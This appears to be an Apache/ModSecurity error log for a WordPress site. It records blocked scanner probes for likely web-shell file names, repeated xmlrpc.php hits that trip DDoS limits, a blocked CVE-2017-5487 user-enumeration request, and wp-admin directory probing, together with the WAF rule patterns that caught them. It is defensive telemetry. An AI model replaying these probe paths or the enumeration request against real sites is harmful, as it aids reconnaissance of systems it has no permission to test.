[Sun Dec 28 19:12:12.534694 2025] [:error] [pid 42292:tid 42299] [client 74.225.194.11:40109] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "aVEQjJyOrM_vaFx1osZANAAAAAM"]
[Sun Dec 28 19:12:16.663278 2025] [:error] [pid 43789:tid 43794] [client 74.225.194.11:41658] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "aVEQkAa-tUppni4CcCYn4wAAAQM"]
[Sun Dec 28 19:12:19.451604 2025] [:error] [pid 29388:tid 29403] [client 74.225.194.11:41635] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "aVEQk9oLv2L2zI_SpdXUGgAAAUc"]
[Sun Dec 28 19:12:21.401512 2025] [:error] [pid 29437:tid 29490] [client 74.225.194.11:45126] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "aVEQlRhDotAbVk6pZLe3DAAAAdg"]
[Sun Dec 28 19:12:24.297830 2025] [:error] [pid 29388:tid 29406] [client 74.225.194.11:44406] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "aVEQmNoLv2L2zI_SpdXUHAAAAUo"]
[Sun Dec 28 19:12:27.168497 2025] [:error] [pid 29436:tid 29458] [client 74.225.194.11:46190] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "aVEQm7chzOOtNL9VPNLehwAAAZM"]
[Sun Dec 28 19:12:31.636664 2025] [:error] [pid 29437:tid 29490] [client 74.225.194.11:40770] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aVEQnxhDotAbVk6pZLe3GQAAAdg"]
[Sun Dec 28 19:12:33.595650 2025] [:error] [pid 29436:tid 29461] [client 74.225.194.11:40236] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aVEQobchzOOtNL9VPNLelQAAAZY"]
[Sun Dec 28 19:12:36.137804 2025] [:error] [pid 29437:tid 29477] [client 74.225.194.11:46173] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aVEQpBhDotAbVk6pZLe3HQAAAcs"]
[Sun Dec 28 19:12:41.025324 2025] [:error] [pid 42293:tid 42324] [client 74.225.194.11:18039] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aVEQqcvc9B-5cwN385LaJwAAAEE"]
[Sun Dec 28 19:12:44.119731 2025] [:error] [pid 43789:tid 43815] [client 74.225.194.11:18023] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allez.php"] [unique_id "aVEQrAa-tUppni4CcCYoFgAAARg"]
[Sun Dec 28 19:12:45.729168 2025] [:error] [pid 29437:tid 29485] [client 74.225.194.11:42544] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allez.php"] [unique_id "aVEQrRhDotAbVk6pZLe3MgAAAdM"]
[Sun Dec 28 19:12:49.150984 2025] [:error] [pid 42293:tid 42336] [client 74.225.194.11:14721] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allez.php"] [unique_id "aVEQscvc9B-5cwN385LaNwAAAE0"]
[Sun Dec 28 19:12:53.736184 2025] [:error] [pid 29436:tid 29444] [client 74.225.194.11:14725] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allez.php"] [unique_id "aVEQtbchzOOtNL9VPNLexAAAAYU"]
[Sun Dec 28 19:12:54.761872 2025] [:error] [pid 42378:tid 42382] [client 74.225.194.11:14745] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aVEQtjgtcN-KHAjWrX8PPwAAAMI"]
[Sun Dec 28 19:12:56.272283 2025] [:error] [pid 29436:tid 29460] [client 74.225.194.11:46647] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aVEQuLchzOOtNL9VPNLeyQAAAZU"]
[Sun Dec 28 19:12:57.492487 2025] [:error] [pid 29388:tid 29402] [client 74.225.194.11:49111] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aVEQudoLv2L2zI_SpdXUPAAAAUY"]
[Sun Dec 28 19:26:08.724834 2025] [:error] [pid 29436:tid 29447] [client 34.138.193.13:64443] [client 34.138.193.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.193.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET0LchzOOtNL9VPNLiUgAAAYg"]
[Sun Dec 28 19:26:12.161943 2025] [:error] [pid 29436:tid 29450] [client 34.138.193.13:64443] [client 34.138.193.13] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVET1LchzOOtNL9VPNLiZAAAAYs"]
[Sun Dec 28 19:26:13.594044 2025] [:error] [pid 29436:tid 29456] [client 34.138.193.13:64443] [client 34.138.193.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.193.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET1bchzOOtNL9VPNLibQAAAZE"]
[Sun Dec 28 19:26:15.470124 2025] [:error] [pid 43789:tid 43804] [client 34.138.193.13:54002] [client 34.138.193.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.193.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET1wa-tUppni4CcCYr7gAAAQ0"]
[Sun Dec 28 19:26:17.359748 2025] [:error] [pid 43789:tid 43806] [client 34.138.193.13:61014] [client 34.138.193.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.193.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET2Qa-tUppni4CcCYr9gAAAQ8"]
[Sun Dec 28 19:26:19.320087 2025] [:error] [pid 42378:tid 42399] [client 34.138.193.13:52724] [client 34.138.193.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.193.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET2zgtcN-KHAjWrX8R_wAAANM"]
[Sun Dec 28 19:26:21.234512 2025] [:error] [pid 29436:tid 29457] [client 34.138.193.13:58040] [client 34.138.193.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.193.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET3bchzOOtNL9VPNLiewAAAZI"]
[Sun Dec 28 19:26:21.234710 2025] [:error] [pid 29436:tid 29457] [client 34.138.193.13:58040] [client 34.138.193.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.138.193.13, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVET3bchzOOtNL9VPNLiewAAAZI"]
[Sun Dec 28 19:27:36.727565 2025] [:error] [pid 29436:tid 29446] [client 46.182.4.125:52725] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEUKLchzOOtNL9VPNLi_wAAAYc"]
[Sun Dec 28 19:29:48.487117 2025] [:error] [pid 29436:tid 29440] [client 163.44.198.62:51277] [client 163.44.198.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.198.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEUrLchzOOtNL9VPNLj1QAAAYE"]
[Sun Dec 28 20:22:48.019914 2025] [:error] [pid 42292:tid 42316] [client 45.141.215.198:56137] [client 45.141.215.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVEhGJyOrM_vaFx1osZQAwAAABQ"]
[Sun Dec 28 20:22:48.635025 2025] [:error] [pid 29436:tid 29447] [client 45.141.215.198:57067] [client 45.141.215.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVEhGLchzOOtNL9VPNL4dwAAAYg"]
[Sun Dec 28 20:22:49.237510 2025] [:error] [pid 42294:tid 42374] [client 45.141.215.198:61027] [client 45.141.215.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVEhGdTE5kYcYCOzl9HDMwAAAJg"]
[Sun Dec 28 20:22:49.846055 2025] [:error] [pid 29437:tid 29481] [client 45.141.215.198:60907] [client 45.141.215.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVEhGRhDotAbVk6pZLfK2wAAAc8"]
[Sun Dec 28 20:22:50.442125 2025] [:error] [pid 29436:tid 29441] [client 45.141.215.198:61520] [client 45.141.215.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVEhGrchzOOtNL9VPNL4iQAAAYI"]
[Sun Dec 28 21:00:34.856517 2025] [:error] [pid 42292:tid 42315] [client 85.186.88.250:56502] [client 85.186.88.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.186.88.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEp8pyOrM_vaFx1osZY8wAAABM"]
[Sun Dec 28 21:52:23.939391 2025] [:error] [pid 42378:tid 42398] [client 147.93.107.71:60668] [client 147.93.107.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.107.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVE2FzgtcN-KHAjWrX82TQAAANI"]
[Mon Dec 29 00:51:48.800283 2025] [:error] [pid 62317:tid 62330] [client 153.125.140.146:53218] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgJDrMrOtzJhli_KVsDgAAAQs"]
[Mon Dec 29 00:51:51.206891 2025] [:error] [pid 62317:tid 62343] [client 153.125.140.146:53320] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgJzrMrOtzJhli_KVsEQAAARg"]
[Mon Dec 29 00:51:53.689425 2025] [:error] [pid 46537:tid 46576] [client 153.125.140.146:53424] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgKRIwkdHOre8AuwAscQAAAIg"]
[Mon Dec 29 00:51:55.456677 2025] [:error] [pid 8229:tid 8294] [client 153.125.140.146:53508] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgKyk6YVu4f2yMJ5uYXgAAAlA"]
[Mon Dec 29 00:51:57.276381 2025] [:error] [pid 8229:tid 8282] [client 153.125.140.146:53556] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgLSk6YVu4f2yMJ5uYYQAAAkQ"]
[Mon Dec 29 00:51:58.988150 2025] [:error] [pid 62317:tid 62337] [client 153.125.140.146:53609] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgLjrMrOtzJhli_KVsFQAAARI"]
[Mon Dec 29 00:51:58.988261 2025] [:error] [pid 62317:tid 62337] [client 153.125.140.146:53609] [client 153.125.140.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 153.125.140.146, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgLjrMrOtzJhli_KVsFQAAARI"]
[Mon Dec 29 00:51:59.645494 2025] [:error] [pid 46622:tid 46624] [client 153.125.140.146:53636] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgLyZDJSVZN5_8UUN33wAAAUA"]
[Mon Dec 29 00:51:59.645698 2025] [:error] [pid 46622:tid 46624] [client 153.125.140.146:53636] [client 153.125.140.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 153.125.140.146, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgLyZDJSVZN5_8UUN33wAAAUA"]
[Mon Dec 29 00:52:00.308607 2025] [:error] [pid 13155:tid 13171] [client 153.125.140.146:53666] [client 153.125.140.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.125.140.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgMBEwDeBH7maxqIbLmQAAAw4"]
[Mon Dec 29 00:52:00.308814 2025] [:error] [pid 13155:tid 13171] [client 153.125.140.146:53666] [client 153.125.140.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 153.125.140.146, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFgMBEwDeBH7maxqIbLmQAAAw4"]
[Mon Dec 29 01:05:39.115940 2025] [:error] [pid 8076:tid 8095] [client 180.181.244.244:39178] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVFjY-mk6HKGnPEdvsJ58AAAAhE"]
[Mon Dec 29 02:46:52.124515 2025] [:error] [pid 8229:tid 8297] [client 185.133.42.92:36526] [client 185.133.42.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.133.42.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVF7HCk6YVu4f2yMJ5ujWAAAAlM"]
[Mon Dec 29 02:54:08.829056 2025] [:error] [pid 62317:tid 62337] [client 43.153.87.54:54458] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVF80DrMrOtzJhli_KWBzgAAARI"]
[Mon Dec 29 03:35:39.095515 2025] [:error] [pid 42456:tid 42495] [client 185.110.146.106:54612] [client 185.110.146.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.110.146.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVGGi-xH1kESfdfO78S-hgAAAEg"]
[Mon Dec 29 04:27:19.146614 2025] [:error] [pid 11540:tid 11552] [client 195.234.138.24:54740] [client 195.234.138.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.234.138.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVGSpw1izvtkZ6YWaTw_nAAAAMo"]
[Mon Dec 29 04:41:58.327232 2025] [autoindex:error] [pid 11453:tid 11528] [client 167.99.61.218:52220] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 29 05:27:38.652456 2025] [autoindex:error] [pid 11452:tid 11495] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 29 05:27:40.048215 2025] [autoindex:error] [pid 11452:tid 11491] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 05:27:41.255536 2025] [autoindex:error] [pid 11452:tid 11506] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 05:27:41.374223 2025] [autoindex:error] [pid 11452:tid 11496] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 29 05:27:51.099169 2025] [:error] [pid 11452:tid 11489] [client 4.189.96.96:23893] [client 4.189.96.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.189.96.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aVGg16hBUmuWsliUNqTlSgAAAEc"], referer: https://www.bing.com/
